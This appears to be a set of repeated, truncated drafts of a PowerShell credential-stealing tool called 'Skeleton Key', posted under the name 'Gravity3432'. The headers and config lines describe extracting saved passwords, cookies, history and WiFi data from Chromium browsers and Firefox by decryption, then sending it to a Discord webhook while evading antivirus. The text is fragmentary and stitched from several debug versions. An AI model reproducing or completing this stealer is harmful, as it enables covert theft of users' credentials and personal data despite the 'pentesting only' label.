Gravity3432

<#
.SYNOPSIS
    Browser password scraper - extracts saved credentials from Chromium browsers
    and Firefox, exfiltrates to Discord webhook. For authorized pentesting only.

.DESCRIPTION
    Targets: Chrome, Edge, Brave, Opera, Vivaldi, Chromium, Firefox
    Uses DPAPI + AES-GCM (via BCrypt) for Chromium v10/v20 decryption.
    Uses NSS3 for Firefox logins.json decryption.
#>

Gravity3432

<#
.SYNOPSIS
    Self-contained browser password scraper. C# 5.0 compatible (PS 5.1).
    Uses winsqlite3.dll, BCrypt, and Firefox NSS3.
    Exfiltrates to Discord webhook set via $DiscordUrl.
#>

# ------------------------------------------------------------
# WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11)
# ------------------------------------------------------------

Gravity3432

<#
.SYNOPSIS
    DEBUG VERSION - prints every step to diagnose browser credential scraping.
    Once confirmed working, remove Write-Host lines for production.
#>

# ------------------------------------------------------------
# WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11)
# ------------------------------------------------------------
Write-Host "[*] Loading WinSQLite3..."

Gravity3432

<#
.SYNOPSIS
    DEBUG VERSION - prints every step to diagnose browser credential scraping.
    Once confirmed working, remove Write-Host lines for production.
#>

# ------------------------------------------------------------
# WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11)
# ------------------------------------------------------------
Write-Host "[*] Loading WinSQLite3..."

Gravity3432

<#
.SYNOPSIS
    DEBUG v2 - browser credential scraper. Prints every step.
#>

# ------------------------------------------------------------
# Critical: load System.Security for DPAPI
# ------------------------------------------------------------
Add-Type -AssemblyName System.Security
Add-Type -AssemblyName System.Windows.Forms

Gravity3432

<#
.SYNOPSIS
    DEBUG v3 - fixed byte[] casting for AES-GCM decryption.
#>

Add-Type -AssemblyName System.Security
Add-Type -AssemblyName System.Windows.Forms

Write-Host "[*] Loading WinSQLite3..."
Add-Type @"

Gravity3432

<#
.SYNOPSIS
    DEBUG v4 - fixed DllImport CharSet for bcrypt.dll (must be Unicode).
    Falls back to CNG if BCrypt still fails.
#>

Add-Type -AssemblyName System.Security

Write-Host "[*] Loading WinSQLite3..."
Add-Type @"

Gravity3432

<#
.SYNOPSIS
    DEBUG v5 - BCrypt GCM structure fix (tag separate from input).
#>

Add-Type -AssemblyName System.Security

Write-Host "[*] Loading WinSQLite3..."
Add-Type @"
using System;

Gravity3432

# ============================================================
#  SKELETON KEY  —  Ultimate Browser Data Exfiltration
#  Chromium + Firefox: Passwords, Cookies, History + WiFi + AV
#  Pure PowerShell. No external binaries. No AV triggers.
# ============================================================

# ==================== CONFIG ====================
$DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE'
$Script:TempDir  = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))"
$Script:SigFile  = "$env:TEMP\sk_done.sig"

Gravity3432

# ============================================================
#  SKELETON KEY  —  Ultimate Browser Data Exfiltration
#  Chromium + Firefox: Passwords, Cookies, History + WiFi + AV
#  Pure PowerShell. No external binaries. No AV triggers.
# ============================================================

# ==================== CONFIG ====================
$DiscordUrl = 'YOUR_DISCORD_WEBHOOK_HERE'
$Script:TempDir  = "$env:TEMP\sk-$([Guid]::NewGuid().ToString('n').Substring(0,6))"
$Script:SigFile  = "$env:TEMP\sk_done.sig"